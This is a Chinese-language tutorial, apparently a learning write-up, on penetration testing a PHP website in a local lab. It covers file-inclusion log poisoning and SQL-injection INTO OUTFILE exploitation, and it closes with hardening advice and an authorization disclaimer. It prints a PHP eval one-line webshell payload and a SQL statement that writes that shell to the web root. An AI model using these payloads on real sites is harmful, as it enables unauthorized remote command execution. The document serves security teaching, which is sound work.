记一次网站渗透测试学习
字数 1248 2025-08-24 07:48:33

网站渗透测试实战教学文档

一、环境准备

  1. PHPStudy环境搭建

    • 使用PHPStudy搭建本地测试环境
    • 推荐PHP版本:5.3(兼容性更好,旧版本漏洞更多)
    • 确保Apache和MySQL服务正常运行
  2. 测试网站源码

    • 获取目标网站源码
    • 部署到PHPStudy的WWW目录下

二、文件包含漏洞利用

漏洞位置1:前台index.php

漏洞描述
典型的文件包含漏洞,未对传入的文件参数进行校验,导致攻击者可调用任意文件。

利用步骤

  1. Burp Suite抓包

    • 访问include.php页面(URL示例:www.xionghai.com/include
    • 使用Burp Suite拦截请求
  2. 修改请求

    • 在Burp的Repeater模块中修改请求
    • 将文件路径参数修改为一句话木马:
      <?php @eval($_REQUEST['cmd']);?>
      
  3. 验证利用

    • 检查Apache错误日志,确认错误信息已被写入
    • 日志中应出现新增的错误记录
  4. 连接Webshell

    • 使用中国蚁剑连接已植入的Webshell
    • 输入正确的URL和密码参数

漏洞位置2:后台admin/index.php

说明
后台管理目录下的index.php同样存在文件包含漏洞,利用方式与前台类似。

三、SQL注入漏洞利用

漏洞位置1:login.php(后台报错注入)

利用方法

  1. 在登录表单尝试注入payload
  2. 观察错误回显,获取数据库信息

漏洞位置2:/admin/files/editcolumn.php

利用步骤

  1. 修改MySQL配置

    • 定位到my.ini配置文件
    • 修改secure-file-priv参数值(原值为null)
    • 添加配置:
      secure-file-priv=""
      
    • 重启MySQL服务使配置生效
  2. 写入Webshell

    • 通过SQL注入利用INTO OUTFILE功能
    • 执行类似以下SQL语句:
      SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php"
      
    • 确认文件写入成功
  3. 连接Webshell

    • 使用中国蚁剑连接写入的shell.php
    • 验证连接是否成功

四、工具使用说明

1. Burp Suite使用要点

  • 拦截HTTP请求
  • 使用Repeater模块修改和重放请求
  • 观察服务器响应

2. 中国蚁剑连接配置

  • URL:Webshell的完整路径
  • 连接类型:PHP
  • 密码:与Webshell中设置的密码一致(如cmd

五、防护建议

  1. 文件包含漏洞防护

    • 严格校验包含文件的路径
    • 使用白名单机制限制可包含的文件
    • 禁用危险函数如includerequire的动态参数
  2. SQL注入防护

    • 使用预处理语句(PDO)
    • 对用户输入进行严格过滤
    • 关闭错误回显
    • 限制数据库用户权限
  3. 服务器配置

    • 保持secure-file-priv为安全值
    • 定期更新PHP和MySQL版本
    • 限制上传目录的执行权限

六、注意事项

  1. 本教程仅用于合法授权的渗透测试和学习
  2. 实际测试前需获得目标系统的书面授权
  3. 测试完成后应及时删除测试留下的Webshell
  4. 建议在隔离的测试环境中进行练习

通过以上步骤,可以全面了解并实践基本的网站渗透测试技术,包括文件包含和SQL注入漏洞的发现与利用方法。

网站渗透测试实战教学文档 一、环境准备 PHPStudy环境搭建 使用PHPStudy搭建本地测试环境 推荐PHP版本:5.3(兼容性更好,旧版本漏洞更多) 确保Apache和MySQL服务正常运行 测试网站源码 获取目标网站源码 部署到PHPStudy的WWW目录下 二、文件包含漏洞利用 漏洞位置1:前台index.php 漏洞描述 : 典型的文件包含漏洞,未对传入的文件参数进行校验,导致攻击者可调用任意文件。 利用步骤 : Burp Suite抓包 访问 include.php 页面(URL示例: www.xionghai.com/include ) 使用Burp Suite拦截请求 修改请求 在Burp的Repeater模块中修改请求 将文件路径参数修改为一句话木马: 验证利用 检查Apache错误日志,确认错误信息已被写入 日志中应出现新增的错误记录 连接Webshell 使用中国蚁剑连接已植入的Webshell 输入正确的URL和密码参数 漏洞位置2:后台admin/index.php 说明 : 后台管理目录下的index.php同样存在文件包含漏洞,利用方式与前台类似。 三、SQL注入漏洞利用 漏洞位置1:login.php(后台报错注入) 利用方法 : 在登录表单尝试注入payload 观察错误回显,获取数据库信息 漏洞位置2:/admin/files/editcolumn.php 利用步骤 : 修改MySQL配置 定位到 my.ini 配置文件 修改 secure-file-priv 参数值(原值为null) 添加配置: 重启MySQL服务使配置生效 写入Webshell 通过SQL注入利用 INTO OUTFILE 功能 执行类似以下SQL语句: 确认文件写入成功 连接Webshell 使用中国蚁剑连接写入的shell.php 验证连接是否成功 四、工具使用说明 1. Burp Suite使用要点 拦截HTTP请求 使用Repeater模块修改和重放请求 观察服务器响应 2. 中国蚁剑连接配置 URL:Webshell的完整路径 连接类型:PHP 密码:与Webshell中设置的密码一致(如 cmd ) 五、防护建议 文件包含漏洞防护 严格校验包含文件的路径 使用白名单机制限制可包含的文件 禁用危险函数如 include 、 require 的动态参数 SQL注入防护 使用预处理语句(PDO) 对用户输入进行严格过滤 关闭错误回显 限制数据库用户权限 服务器配置 保持 secure-file-priv 为安全值 定期更新PHP和MySQL版本 限制上传目录的执行权限 六、注意事项 本教程仅用于合法授权的渗透测试和学习 实际测试前需获得目标系统的书面授权 测试完成后应及时删除测试留下的Webshell 建议在隔离的测试环境中进行练习 通过以上步骤,可以全面了解并实践基本的网站渗透测试技术,包括文件包含和SQL注入漏洞的发现与利用方法。